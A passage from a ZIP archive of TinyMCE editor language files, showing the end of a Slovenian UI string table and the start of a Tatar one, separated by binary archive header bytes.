"Flags": "Zastave",
"Characters": "Znaki",
"Characters (no spaces)": "Znaki (brez presledkov)",
"{0} characters": "{0} znakov",
"Error: Form submit field collision.": "Napaka: navzkri\u017eje polja za oddajo obrazca",
"Error: No form element found.": "Napaka: elementa oblike ni mogo\u010de najti",
"Update": "Posodobitev",
"Color swatch": "Vzorec barv",
"Turquoise": "Turkizna",
"Green": "Zelena",
"Blue": "Modra",
"Purple": "\u0160krlatna",
"Navy Blue": "Mornarsko modra",
"Dark Turquoise": "Temno turkizna",
"Dark Green": "Temno zelena",
"Medium Blue": "Srednje modra",
"Medium Purple": "Srednje \u0161krlatna",
"Midnight Blue": "Polno\u010dno modra",
"Yellow": "Rumena",
"Orange": "Oran\u017ena",
"Red": "Rde\u010da",
"Light Gray": "Svetlo siva",
"Gray": "Siva",
"Dark Yellow": "Temno rumena",
"Dark Orange": "Temno oran\u017ena",
"Dark Red": "Temno rde\u010da",
"Medium Gray": "Srednje siva",
"Dark Gray": "Temno siva",
"Light Green": "Svetlo zelena",
"Light Yellow": "Svetlo rumena",
"Light Red": "Svetlo rde\u010da",
"Light Purple": "Svetlo vijoli\u010dna",
"Light Blue": "Svetlo modra",
"Dark Purple": "Temno vijoli\u010dna",
"Dark Blue": "Temno modra",
"Black": "\u010crna",
"White": "Bela",
"Switch to or from fullscreen mode": "Preklopi v ali iz celozaslonskega na\u010dina",
"Open help dialog": "Odpri pogovorno okno za pomo\u010d",
"history": "zgodovina",
"styles": "slogi",
"formatting": "oblikovanje",
"alignment": "poravnava",
"indentation": "zamik",
"Font": "Pisava",
"Size": "Velikost",
"More...": "Ve\u010d ...",
"Select...": "Izberi ...",
"Preferences": "Preference",
"Yes": "Da",
"No": "Ne",
"Keyboard Navigation": "Krmarjenje s tipkovnico",
"Version": "Razli\u010dica",
"Code view": "Prikaz kode",
"Open popup menu for split buttons": "Odpri pojavni meni za razdeljene gumbe",
"List Properties": "Lastnosti seznama",
"List properties...": "Lastnosti seznama...",
"Start list at number": "Za\u010dni seznam s \u0161tevilko",
"Line height": "Vi\u0161ina vrstice",
"comments": "komentarji",
"Format Painter": "Preslikovalnik Oblik",
"Insert\/edit iframe": "Vstavi\/uredi iFrame",
"Capitalization": "Velika za\u010detnica",
"lowercase": "male \u010drke",
"UPPERCASE": "VELIKE \u010cRKE",
"Title Case": "Velike za\u010detnice naslovov",
"permanent pen": "permanentno pisalo",
"Permanent Pen Properties": "Lastnosti permanentnega pisala",
"Permanent pen properties...": "Lastnosti permanentnega pisala ...",
"case change": "sprememba male\/velike \u010drke",
"page embed": "vstavi stran",
"Advanced sort...": "Napredno razvr\u0161\u010danje",
"Advanced Sort": "Napredno razvr\u0161\u010danje...",
"Sort table by column ascending": "Razvrsti tabelo po stolpcu nara\u0161\u010dajo\u010de",
"Sort table by column descending": "Razvrsti tabelo po stolpcu padajo\u010de",
"Sort": "Razvrsti",
"Order": "Vrstni red",
"Sort by": "Razvrsti po",
"Ascending": "Nara\u0161\u010dajo\u010de",
"Descending": "Padajo\u010de",
"Column {0}": "Stolpec {0}",
"Row {0}": "Vrstica {0}",
"Spellcheck...": "\u010crkovalnik...",
"Misspelled word": "\u00b8Nepravilno \u010drkovana beseda",
"Suggestions": "Predlogi",
"Change": "Spremeni",
"Finding word suggestions": "Iskanje predlogov besed",
"Success": "Uspe\u0161no",
"Repair": "Popravi",
"Issue {0} of {1}": "Te\u017eava {0} od {1}",
"Images must be marked as decorative or have an alternative text description": "Slike morajo biti ozna\u010dene kot okrasne ali morajo imeti nadomestni opis v obliki besedila",
"Images must have an alternative text description. Decorative images are not allowed.": "Slike morajo imeti nadomestni opis v obliki besedila.  Okrasne slike niso dovoljene.",
"Or provide alternative text:": "Ali podajte nadomestno besedilo:",
"Make image decorative:": "Dolo\u010di sliko kot okrasno:",
"ID attribute must be unique": "ID atribut mora biti edinstven",
"Make ID unique": "Ustvari edinstven ID",
"Keep this ID and remove all others": "Obdr\u017ei ta ID in odstrani vse ostale",
"Remove this ID": "Odstrani ta ID",
"Remove all IDs": "Odstrani vse IDje",
"Checklist": "Seznam preverjanj"
});PK
h�\�*w�N�Nprogram/js/tinymce/langs/tt.jsnu�[���tinymce.addI18n('tt',{
"Cut": "\u041a\u0438\u0441\u0435\u043f \u0430\u043b\u0443",
"Heading 5": "\u0411\u0430\u0448\u043b\u0430\u043c 5",
"Header 2": "\u0411\u0430\u0448\u043b\u0430\u043c 2",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0411\u0440\u0430\u0443\u0437\u0435\u0440\u044b\u0433\u044b\u0437 \u0430\u043b\u043c\u0430\u0448\u0443 \u0431\u0443\u0444\u0435\u0440\u044b\u043d\u0430 \u043a\u0435\u0440\u04af \u043c\u04e9\u043c\u043a\u0438\u043d\u043b\u0435\u0433\u0435 \u0431\u0435\u043b\u04d9\u043d \u0442\u04d9\u044d\u043c\u0438\u043d \u0438\u0442\u0435\u043b\u043c\u04d9\u0433\u04d9\u043d. \u0410\u043b\u043c\u0430\u0448\u043a\u0430 Ctrl+X\/C\/V \u043a\u0443\u043b\u043b\u0430\u043d\u044b\u0433\u044b\u0437.",
"Heading 4": "\u0411\u0430\u0448\u043b\u0430\u043c 4",
"Div": "Div",
"Heading 2": "\u0411\u0430\u0448\u043b\u0430\u043c 2",
"Paste": "\u04e8\u0441\u0442\u04d9\u04af",
"Close": "\u042f\u0431\u044b\u0440\u0433\u0430",
"Font Family": "\u0428\u0440\u0438\u0444\u0442 \u0442\u04e9\u0440\u0435",
"Pre": "\u0410\u043b\u0434\u0430\u043d \u0444\u043e\u0440\u043c\u0430\u0442\u043b\u0430\u043d\u0433\u0430\u043d \u0442\u0435\u043a\u0441\u0442",
"Align right": "\u0423\u04a3 \u044f\u043a \u043a\u044b\u0440\u044b\u0439\u0434\u0430\u043d \u0442\u0438\u0433\u0435\u0437\u043b\u04d9\u04af",
"New document": "\u042f\u04a3\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Blockquote": "\u0426\u0438\u0442\u0430\u0442\u0430",
"Numbered list": "\u041d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f",
"Heading 1": "\u0411\u0430\u0448\u043b\u0430\u043c 1",
"Headings": "\u0411\u0430\u0448\u043b\u0430\u043c\u043b\u0430\u0440",
"Increase indent": "\u041e\u0442\u0441\u0442\u0443\u043f\u043d\u044b \u0430\u0440\u0442\u0442\u044b\u0440\u0443",
"Formats": "\u0424\u043e\u0440\u043c\u0430\u0442\u043b\u0430\u0440",
"Headers": "\u0411\u0430\u0448\u043b\u0430\u043c\u043b\u0430\u0440",
"Select all": "\u0411\u0430\u0440\u044b\u0441\u044b\u043d \u0441\u0430\u0439\u043b\u0430\u0443",
"Header 3": "\u0411\u0430\u0448\u043b\u0430\u043c 3",
"Blocks": "\u0411\u043b\u043e\u043a\u043b\u0430\u0440",
"Undo": "\u041a\u0430\u0439\u0442\u0430\u0440\u0443",
"Strikethrough": "\u0421\u044b\u0437\u044b\u043b\u0433\u0430\u043d",
"Bullet list": "\u041c\u0430\u0440\u043a\u0435\u0440\u043b\u0430\u0440",
"Header 1": "\u0411\u0430\u0448\u043b\u0430\u043c 1",
"Superscript": "\u04e8\u0441\u043a\u0435 \u0438\u043d\u0434\u0435\u043a\u0441",
"Clear formatting": "\u0424\u043e\u0440\u043c\u0430\u0442\u043b\u0430\u0443\u043d\u044b \u0447\u0438\u0441\u0442\u0430\u0440\u0442\u0443",
"Font Sizes": "\u0428\u0440\u0438\u0444\u0442 \u0437\u0443\u0440\u043b\u044b\u043a\u043b\u0430\u0440\u044b",
"Subscript": "\u0410\u0441\u043a\u044b \u0438\u043d\u0434\u0435\u043a\u0441",
"Header 6": "\u0411\u0430\u0448\u043b\u0430\u043c 6",
"Redo": "\u041a\u0430\u0431\u0430\u0442\u043b\u0430\u0443",
"Paragraph": "\u041f\u0430\u0440\u0430\u0433\u0440\u0430\u0444",
"Ok": "\u0422\u04d9\u043c\u0430\u043c",
"Bold": "\u041a\u0430\u043b\u044b\u043d",
"Code": "\u041a\u043e\u0434",
"Italic": "\u041a\u0443\u0440\u0441\u0438\u0432",
"Align center": "\u04ae\u0437\u04d9\u043a\u043a\u04d9 \u0442\u0438\u0433\u0435\u0437\u043b\u04d9\u04af",
"Header 5": "\u0411\u0430\u0448\u043b\u0430\u043c 5",
"Heading 6": "\u0411\u0430\u0448\u043b\u0430\u043c 6",
"Heading 3": "\u0411\u0430\u0448\u043b\u0430\u043c 3",
"Decrease indent": "\u041e\u0442\u0441\u0442\u0443\u043f\u043d\u044b \u043a\u0435\u0447\u0435\u0440\u04d9\u0439\u0442\u04af",
"Header 4": "\u0411\u0430\u0448\u043b\u0430\u043c 4",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u04e8\u0441\u0442\u04d9\u043b\u04d9\u0441\u0435 \u0442\u0435\u043a\u0441\u0442 \u0445\u04d9\u0437\u0435\u0440 \u0444\u043e\u0440\u043c\u0430\u0442\u043b\u0430\u043d\u043c\u0430\u0433\u0430\u043d \u0440\u0435\u0436\u0438\u043c\u0434\u0430. \u04d8\u043b\u0435\u0433\u0435 \u04af\u0437\u043b\u0435\u043a\u043d\u0435 \u0441\u04af\u043d\u0434\u0435\u0440\u043c\u04d9\u0433\u04d9\u043d \u043e\u0447\u0440\u0430\u043a\u0442\u0430 \u0442\u0435\u043a\u0441\u0442 \u0444\u043e\u0440\u043c\u0430\u0442\u043b\u0430\u043d\u043c\u0430\u0433\u0430\u043d \u043a\u0438\u043b\u0435\u0448 \u04e9\u0441\u0442\u04d9\u043b\u0435\u0440.",
"Underline": "\u0410\u0441\u0442\u044b\u043d\u0430 \u0441\u044b\u0437\u044b\u043b\u0433\u0430\u043d",
"Cancel": "\u0411\u0430\u0448 \u0442\u0430\u0440\u0442\u0443",
"Justify": "\u041a\u0438\u04a3\u043b\u0435\u043a\u043a\u04d9 \u043a\u0430\u0440\u0430\u043f \u0442\u0438\u0433\u0435\u0437\u043b\u04d9\u04af",
"Inline": "\u042e\u043b \u0445\u04d9\u0440\u0435\u0444\u043b\u04d9\u0440\u0435",
"Copy": "\u041a\u04af\u0447\u0435\u0440\u043c\u04d9\u043b\u04d9\u04af",
"Align left": "\u0421\u0443\u043b \u044f\u043a \u043a\u044b\u0440\u044b\u0439\u0434\u0430\u043d \u0442\u0438\u0433\u0435\u0437\u043b\u04d9\u04af",
"Visual aids": "\u041a\u04af\u0440\u0441\u04d9\u0442\u043c\u04d9 \u04d9\u0441\u0431\u0430\u043f\u043b\u0430\u0440",
"Lower Greek": "\u0413\u0440\u0435\u043a \u044e\u043b \u0445\u04d9\u0440\u0435\u0444\u0435",
"Square": "\u0428\u0430\u043a\u043c\u0430\u043a",
"Default": "\u04d8\u04af\u0432\u04d9\u043b\u0433\u0435 \u043a\u04e9\u0439\u043b\u04d9\u04af\u043b\u04d9\u0440",
"Lower Alpha": "\u0410\u043b\u044c\u0444\u0430 \u044e\u043b \u0445\u04d9\u0440\u0435\u0444\u0435",
"Circle": "\u0422\u04af\u0433\u0259\u0440\u0259\u043a",
"Disc": "\u0414\u0438\u0441\u043a",
"Upper Alpha": "\u0410\u043b\u044c\u0444\u0430 \u0431\u0430\u0448 \u0445\u04d9\u0440\u0435\u0444\u0435",
"Upper Roman": "\u0420\u0438\u043c \u0431\u0430\u0448 \u0445\u04d9\u0440\u0435\u0444\u0435",
"Lower Roman": "\u0420\u0438\u043c \u044e\u043b \u0445\u04d9\u0440\u0435\u0444\u0435",
"Name": "\u0418\u0441\u0435\u043c",
"Anchor": "\u042f\u043a\u043e\u0440\u044c",
"You have unsaved changes are you sure you want to navigate away?": "\u0421\u0430\u043a\u043b\u0430\u043d\u043c\u0430\u0433\u0430\u043d \u04af\u0437\u0433\u04d9\u0440\u0435\u0448\u043b\u04d9\u0440 \u0431\u0430\u0440. \u0421\u0435\u0437 \u0447\u044b\u043d\u043d\u0430\u043d \u0434\u0430 \u0447\u044b\u0433\u0430\u0440\u0433\u0430 \u0442\u0435\u043b\u0438\u0441\u0435\u0437\u043c\u0435?",
"Restore last draft": "\u0421\u043e\u04a3\u0433\u044b \u043a\u0430\u0440\u0430\u043b\u0430\u043c\u0430\u043d\u044b \u043a\u0430\u0439\u0442\u0430\u0440\u0443",
"Special character": "\u041c\u0430\u0445\u0441\u0443\u0441 \u0441\u0438\u043c\u0432\u043e\u043b",
"Source code": "\u0427\u044b\u0433\u0430\u043d\u0430\u043a \u043a\u043e\u0434",
"B": "B",
"R": "R",
"G": "G",
"Color": "\u0422\u04e9\u0441",
"Right to left": "\u0423\u04a3\u043d\u0430\u043d \u0441\u0443\u043b\u0433\u0430 \u044f\u0437\u044b\u043b\u044b\u0448",
"Left to right": "\u0421\u0443\u043b\u0434\u0430\u043d \u0443\u04a3\u0433\u0430 \u044f\u0437\u044b\u043b\u044b\u0448",
"Emoticons": "\u0421\u043c\u0430\u0439\u043b\u043b\u0430\u0440",
"Robots": "\u0420\u043e\u0431\u043e\u0442\u043b\u0430\u0440",
"Document properties": "\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u04af\u0437\u043b\u0435\u043a\u043b\u04d9\u0440\u0435",
"Title": "\u0418\u0441\u0435\u043c",
"Keywords": "\u0410\u0447\u043a\u044b\u0447 \u0441\u04af\u0437\u043b\u04d9\u0440",
"Encoding": "\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0430",
"Description": "\u0422\u0430\u0441\u0432\u0438\u0440\u043b\u0430\u043c\u0430",
"Author": "\u0410\u0432\u0442\u043e\u0440",
"Fullscreen": "\u0422\u0443\u043b\u044b \u044d\u043a\u0440\u0430\u043d\u0434\u0430",
"Horizontal line": "\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c \u0441\u044b\u0437\u044b\u043a",
"Horizontal space": "\u042f\u0442\u043c\u0430 \u0430\u0440\u0430",
"Insert\/edit image": "\u0420\u04d9\u0441\u0435\u043c \u04e9\u0441\u0442\u04d9\u04af\/\u04af\u0437\u0433\u04d9\u0440\u0442\u04af",
"General": "\u0413\u043e\u043c\u0443\u043c\u0438",
"Advanced": "\u041a\u0438\u04a3\u04d9\u0439\u0442\u0435\u043b\u0433\u04d9\u043d \u043a\u04e9\u0439\u043b\u04d9\u04af\u043b\u04d9\u0440",
"Source": "\u0427\u044b\u0433\u0430\u043d\u0430\u043a",
"Border": "\u0427\u0438\u043a",
"Constrain proportions": "\u0427\u0438\u043a\u043b\u04d9\u043c\u04d9\u043b\u04d9\u0440 \u043f\u0440\u043e\u043f\u0440\u043e\u0440\u0446\u0438\u044f\u043b\u04d9\u0440\u0435",
"Vertical space": "\u0410\u0441\u043c\u0430 \u0430\u0440\u0430",
"Image description": "\u0422\u0430\u0441\u0432\u0438\u0440\u043b\u0430\u043c\u0430",
"Style": "\u0421\u0442\u0438\u043b\u044c",
"Dimensions": "\u04ae\u043b\u0447\u04d9\u043d\u0435\u0448\u043b\u04d9\u0440",
"Insert image": "\u0420\u04d9\u0441\u0435\u043c \u04e9\u0441\u0442\u04d9\u04af",
"Zoom in": "\u0417\u0443\u0440\u0430\u0439\u0442\u044b\u0440\u0433\u0430",
"Contrast": "\u041a\u043e\u043d\u0442\u0440\u0430\u0441\u0442",
"Back": "\u0411\u0430\u0448 \u0442\u0430\u0440\u0442\u0443",
"Gamma": "\u0413\u0430\u043c\u043c\u0430",
"Flip horizontally": "Flip horizontally",
"Resize": "\u0417\u0443\u0440\u043b\u044b\u043a\u043d\u044b \u04af\u0437\u0433\u04d9\u0440\u0442\u04af",
"Sharpen": "\u04ae\u0442\u043a\u0435\u043d\u043b\u0435\u043a",
"Zoom out": "\u041a\u0435\u0447\u0435\u0440\u04d9\u0439\u0442\u0435\u0440\u0433\u04d9",
"Image options": "Image options",
"Apply": "\u0422\u04d9\u043c\u0430\u043c",
"Brightness": "\u042f\u043a\u0442\u044b\u043b\u044b\u043a",
"Rotate clockwise": "Rotate clockwise",
"Rotate counterclockwise": "Rotate counterclockwise",
"Edit image": "\u0420\u04d9\u0441\u0435\u043c \u04af\u0437\u0433\u04d9\u0440\u0442\u04af",
"Color levels": "\u0422\u04e9\u0441\u043b\u04d9\u0440 \u043a\u04af\u043b\u04d9\u043c\u0435",
"Crop": "\u041a\u0438\u0441\u04af",
"Orientation": "\u041e\u0440\u0438\u0435\u043d\u0442\u0430\u0446\u0438\u044f",
"Flip vertically": "Flip vertically",
"Invert": "\u04d8\u0432\u0435\u0440\u0435\u043b\u0434\u0435\u0440\u04af",
"Insert date\/time": "\u0414\u0430\u0442\u0430\/\u0432\u0430\u043a\u044b\u0442 \u04e9\u0441\u0442\u04d9\u04af",
"Remove link": "\u0421\u044b\u043b\u0442\u0430\u043b\u0430\u043c\u0430\u043d\u044b \u0431\u0435\u0442\u0435\u0440\u04af",
"Url": "\u0421\u044b\u043b\u0442\u0430\u043b\u0430\u043c\u0430",
"Text to display": "\u041a\u04af\u0440\u0441\u04d9\u0442\u0435\u043b\u0433\u04d9\u043d \u0442\u0435\u043a\u0441\u0442",
"Anchors": "\u042f\u043a\u043e\u0440\u044c\u043b\u04d9\u0440",
"Insert link": "\u0421\u044b\u043b\u0442\u0430\u043b\u0430\u043c\u0430 \u04e9\u0441\u0442\u04d9\u04af",
"New window": "\u042f\u04a3\u0430 \u0442\u04d9\u0440\u04d9\u0437\u04d9",
"None": "\u04ba\u0438\u0447\u0431\u0435\u0440",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u04e8\u0441\u0442\u04d9\u043b\u0433\u04d9\u043d URL \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d \u043f\u043e\u0447\u0442\u0430 \u0430\u0434\u0440\u0435\u0441\u044b \u0431\u0443\u043b\u0441\u0430 \u043a\u0438\u0440\u04d9\u043a. \u0417\u0430\u0440\u0443\u0440\u0438 mailto: \u043f\u0440\u0435\u0444\u0438\u043a\u0441 \u04e9\u0441\u0442\u04d9\u043b\u0441\u0435\u043d\u043c\u0435?",
"Target": "\u041c\u0430\u043a\u0441\u0430\u0442",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u04e8\u0441\u0442\u04d9\u043b\u0433\u04d9\u043d URL \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d \u043f\u043e\u0447\u0442\u0430 \u0430\u0434\u0440\u0435\u0441\u044b \u0431\u0443\u043b\u0441\u0430 \u043a\u0438\u0440\u04d9\u043a. \u0417\u0430\u0440\u0443\u0440\u0438 mailto: \u043f\u0440\u0435\u0444\u0438\u043a\u0441 \u04e9\u0441\u0442\u04d9\u043b\u0441\u0435\u043d\u043c\u0435?",
"Insert\/edit link": "\u0421\u044b\u043b\u0442\u0430\u043b\u0430\u043c\u0430 \u04e9\u0441\u0442\u04d9\u04af\/\u04af\u0437\u0433\u04d9\u0440\u0442\u04af",
"Insert\/edit video": "\u0412\u0438\u0434\u0435\u043e \u04e9\u0441\u0442\u04d9\u04af\/\u04af\u0437\u0433\u04d9\u0440\u0442\u04af",
"Poster": "\u041f\u043e\u0441\u0442\u0435\u0440",
"Alternative source": "\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432 \u0447\u044b\u0433\u0430\u043d\u0430\u043a",
"Paste your embed code below:": "\u042d\u0447\u0435\u043d\u04d9 \u0441\u0430\u043b\u044b\u043d\u0433\u0430\u043d \u043a\u043e\u0434\u043d\u044b \u0442\u04af\u0431\u04d9\u043d\u0440\u04d9\u043a \u04e9\u0441\u0442\u04d9\u0433\u0435\u0437:",
"Insert video": "\u0412\u0438\u0434\u0435\u043e \u04e9\u0441\u0442\u04d9\u04af",
"Embed": "\u042d\u0447\u0435\u043d\u04d9 \u0441\u0430\u043b\u0443",
"Nonbreaking space": "\u04e8\u0437\u0435\u043b\u043c\u04d9\u0441 \u0431\u0443\u0448\u043b\u044b\u043a",
"Page break": "\u0411\u0438\u0442 \u0431\u04af\u043b\u0433\u0435\u0447\u0435",
"Paste as text": "\u0424\u043e\u0440\u043c\u0430\u0442\u043b\u0430\u0443\u0441\u044b\u0437 \u0442\u0435\u043a\u0441\u0442 \u04e9\u0441\u0442\u04d9\u04af",
"Preview": "\u041a\u0430\u0440\u0430\u043f \u0430\u043b\u0443",
"Print": "\u0411\u0430\u0441\u0442\u044b\u0440\u0443",
"Save": "\u0421\u0430\u043a\u043b\u0430\u0443",
"Could not find the specified string.": "\u042d\u0437\u043b\u04d9\u043d\u0433\u04d9\u043d \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0442\u0430\u0431\u044b\u043b\u043c\u0430\u0434\u044b.",
"Replace": "\u0410\u043b\u043c\u0430\u0448\u0442\u044b\u0440\u0443",
"Next": "\u041a\u0438\u043b\u04d9\u0441\u0435",
"Whole words": "\u0421\u04af\u0437\u043b\u04d9\u0440\u043d\u0435 \u0442\u0443\u043b\u044b\u0441\u044b\u043d\u0447\u0430 \u0433\u044b\u043d\u0430 \u044d\u0437\u043b\u04d9\u04af",
"Find and replace": "\u042d\u0437\u043b\u04d9\u043f \u0442\u0430\u0431\u0443 \u04bb\u04d9\u043c \u0430\u043b\u043c\u0430\u0448\u0442\u044b\u0440\u0443",
"Replace with": "\u041d\u04d9\u0440\u0441\u04d9\u0433\u04d9 \u0430\u043b\u043c\u0430\u0448\u0442\u044b\u0440\u0443",
"Find": "\u042d\u0437\u043b\u04d9\u04af",
"Replace all": "\u0411\u0430\u0440\u044b\u0441\u044b\u043d \u0434\u0430 \u0430\u043b\u043c\u0430\u0448\u0442\u044b\u0440\u0443",
"Match case": "\u0411\u0430\u0448 \u04bb\u04d9\u043c \u044e\u043b \u0445\u04d9\u0440\u0435\u0444\u043b\u04d9\u0440\u0435\u043d \u0438\u0441\u04d9\u043f\u043a\u04d9 \u0430\u043b\u0443",
"Prev": "\u0410\u043b\u0434\u0430\u0433\u044b",
"Spellcheck": "\u0414\u04e9\u0440\u0435\u0441 \u044f\u0437\u044b\u043b\u044b\u0448",
"Finish": "\u0422\u04d9\u043c\u0430\u043c",
"Ignore all": "\u0411\u0430\u0440\u044b\u0441\u044b\u043d \u0434\u0430 \u043a\u0430\u043b\u0434\u044b\u0440\u0443",
"Ignore": "\u0418\u0433\u044a\u0442\u0438\u0431\u0430\u0440\u0441\u044b\u0437 \u043a\u0430\u043b\u0434\u044b\u0440\u0443",
"Add to Dictionary": "\u0421\u04af\u0437\u043b\u0435\u043a\u043a\u04d9 \u04e9\u0441\u0442\u04d9\u04af",
"Insert row before": "\u04e8\u0441\u0442\u04d9\u043d \u044e\u043b\u043b\u0430\u0440 \u04e9\u0441\u0442\u04d9\u04af",
"Rows": "\u042e\u043b\u043b\u0430\u0440",
"Height": "\u0411\u0438\u0435\u043a\u043b\u0435\u043a",
"Paste row after": "\u042e\u043b\u043d\u044b \u0430\u0441\u0442\u0430\u043d \u04e9\u0441\u0442\u04d9\u04af",
"Alignment": "\u0422\u0438\u0433\u0435\u0437\u043b\u04d9\u04af",
"Border color": "\u0427\u0438\u043a \u0442\u04e9\u0441\u0435",
"Column group": "\u0411\u0430\u0433\u0430\u043d\u0430\u043b\u0430\u0440 \u0433\u0440\u0443\u043f\u043f\u0430\u0441\u044b",
"Row": "\u042e\u043b",
"Insert column before": "\u0421\u0443\u043b\u0434\u0430\u043d \u0431\u0430\u0433\u0430\u043d\u0430\u043b\u0430\u0440 \u04e9\u0441\u0442\u04d9\u04af",
"Split cell": "\u041a\u04af\u0437\u04d9\u043d\u04d9\u043a\u043d\u0435 \u0431\u04af\u043b\u04af",
"Cell padding": "\u041a\u04af\u0437\u04d9\u043d\u04d9\u043a\u043d\u0435 \u0442\u0443\u0442\u044b\u0440\u0443",
"Cell spacing": "\u041a\u04af\u0437\u04d9\u043d\u04d9\u043a\u043b\u04d9\u0440 \u0430\u0440\u0430\u0441\u044b",
"Row type": "\u042e\u043b \u0442\u04e9\u0440\u0435",
"Insert table": "\u0422\u0430\u0431\u043b\u0438\u0446\u0430 \u04e9\u0441\u0442\u04d9\u04af",
"Body": "\u0411\u04d9\u0434\u04d9\u043d",
"Caption": "\u0418\u0441\u0435\u043c",
"Footer": "\u0410\u0441\u043a\u044b \u04e9\u043b\u0435\u0448",
"Delete row": "\u042e\u043b\u043d\u044b \u0431\u0435\u0442\u0435\u0440\u04af",
"Paste row before": "\u042e\u043b\u043d\u044b \u04e9\u0441\u0442\u04d9\u043d \u04e9\u0441\u0442\u04d9\u04af",
"Scope": "\u04e8\u043b\u043a\u04d9",
"Delete table": "\u0422\u0430\u0431\u043b\u0438\u0446\u0430\u043d\u044b \u0431\u0435\u0442\u0435\u0440\u04af",
"H Align": "\u042f\u0442\u043c\u0430 \u0442\u0438\u0433\u0435\u0437\u043b\u04d9\u04af",
"Top": "\u04e8\u0441\u043a\u04d9",
"Header cell": "\u0411\u0430\u0448 \u043a\u04af\u0437\u04d9\u043d\u04d9\u043a",
"Column": "\u0411\u0430\u0433\u0430\u043d\u0430",
"Row group": "\u042e\u043b\u043b\u0430\u0440 \u0433\u0440\u0443\u043f\u043f\u0430\u0441\u044b",
"Cell": "\u041a\u04af\u0437\u04d9\u043d\u04d9\u043a",
"Middle": "\u0423\u0440\u0442\u0430\u0433\u0430",
"Cell type": "\u041a\u04af\u0437\u04d9\u043d\u04d9\u043a \u0442\u04e9\u0440\u0435",
"Copy row": "\u042e\u043b\u043d\u044b \u043a\u04af\u0447\u0435\u0440\u043c\u04d9\u043b\u04d9\u04af",
"Row properties": "\u042e\u043b \u04af\u0437\u043b\u0435\u043a\u043b\u04d9\u0440\u0435",
"Table properties": "\u0422\u0430\u0431\u043b\u0438\u0446\u0430 \u04af\u0437\u043b\u0435\u043a\u043b\u04d9\u0440\u0435",
"Bottom": "\u0410\u0441\u043a\u0430",
"V Align": "\u0410\u0441\u043c\u0430 \u0442\u0438\u0433\u0435\u0437\u043b\u04d9\u04af",
"Header": "\u04e8\u0441\u043a\u0435 \u04e9\u043b\u0435\u0448",
"Right": "\u0423\u04a3",
"Insert column after": "\u0423\u04a3\u043d\u0430\u043d \u0431\u0430\u0433\u0430\u043d\u0430\u043b\u0430\u0440 \u04e9\u0441\u0442\u04d9\u04af",
"Cols": "\u0411\u0430\u0433\u0430\u043d\u0430\u043b\u0430\u0440",
"Insert row after": "\u0410\u0441\u0442\u0430\u043d \u044e\u043b\u043b\u0430\u0440 \u04e9\u0441\u0442\u04d9\u04af",
"Width": "\u041a\u0438\u04a3\u043b\u0435\u043a",
"Cell properties": "\u041a\u04af\u0437\u04d9\u043d\u04d9\u043a \u04af\u0437\u043b\u0435\u043a\u043b\u04d9\u0440\u0435",
"Left": "\u0421\u0443\u043b",
"Cut row": "\u042e\u043b\u043d\u044b \u043a\u0438\u0441\u0435\u043f \u0430\u043b\u0443",
"Delete column": "\u0411\u0430\u0433\u0430\u043d\u0430\u043d\u044b \u0431\u0435\u0442\u0435\u0440\u04af",
"Center": "\u04ae\u0437\u04d9\u043a",
"Merge cells": "\u041a\u04af\u0437\u04d9\u043d\u04d9\u043a\u043b\u04d9\u0440\u043d\u0435 \u0431\u0435\u0440\u043b\u04d9\u0448\u0442\u0435\u0440\u04af",
"Insert template": "\u0428\u0430\u0431\u043b\u043e\u043d \u04e9\u0441\u0442\u04d9\u04af",
"Templates": "\u0428\u0430\u0431\u043b\u043e\u043d\u043d\u0430\u0440",
"Background color": "\u0424\u043e\u043d \u0442\u04e9\u0441\u0435",
"Custom...": "\u04ae\u0437\u0435\u043d\u0447\u04d9\u043b\u0435\u043a\u043b\u0435...",
"Custom color": "\u04ae\u0437\u0435\u043d\u0447\u04d9\u043b\u0435\u043a\u043b\u0435 \u0442\u04e9\u0441",
"No color": "\u0422\u04e9\u0441\u0441\u0435\u0437",
"Text color": "\u0422\u0435\u043a\u0441\u0442 \u0442\u04e9\u0441\u0435",
"Show blocks": "\u0411\u043b\u043e\u043a\u043b\u0430\u0440\u043d\u044b \u043a\u04af\u0440\u0441\u04d9\u0442\u04af",
"Show invisible characters": "\u042f\u0448\u0435\u0440\u0435\u043d \u0441\u0438\u043c\u0432\u043e\u043b\u043b\u0430\u0440\u043d\u044b \u043a\u04af\u0440\u0441\u04d9\u0442\u04af",
"Words: {0}": "\u0421\u04af\u0437\u043b\u04d9\u0440 \u0441\u0430\u043d\u044b: {0}",
"Insert": "\u04e8\u0441\u0442\u04d9\u04af",
"File": "\u0424\u0430\u0439\u043b",
"Edit": "\u0422\u04e9\u043f",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0424\u043e\u0440\u043c\u0430\u0442\u043b\u0430\u0443\u043b\u044b \u0442\u0435\u043a\u0441\u0442 \u04e9\u043b\u043a\u04d9\u0441\u0435. \u041c\u0435\u043d\u044e\u0433\u0430 \u043a\u0435\u0440\u0435\u0440 \u04e9\u0447\u0435\u043d ALT-F9 \u0431\u0430\u0441\u044b\u0433\u044b\u0437. \u041a\u043e\u0440\u0430\u043b\u043b\u0430\u0440 \u043f\u0430\u043d\u0435\u043b\u0435\u043d\u04d9 \u043a\u04af\u0447\u0435\u0440 \u04e9\u0447\u0435\u043d ALT-F10 \u0431\u0430\u0441\u044b\u0433\u044b\u0437. \u042f\u0440\u0434\u04d9\u043c \u04e9\u0447\u0435\u043d ALT-0 \u0431\u0430\u0441\u044b\u0433\u044b\u0437.",
"Tools": "\u041a\u043e\u0440\u0430\u043b\u043b\u0430\u0440",
"View": "\u041a\u04af\u0440\u0435\u043d\u0435\u0448",
"Table": "\u0422\u0430\u0431\u043b\u0438\u0446\u0430",
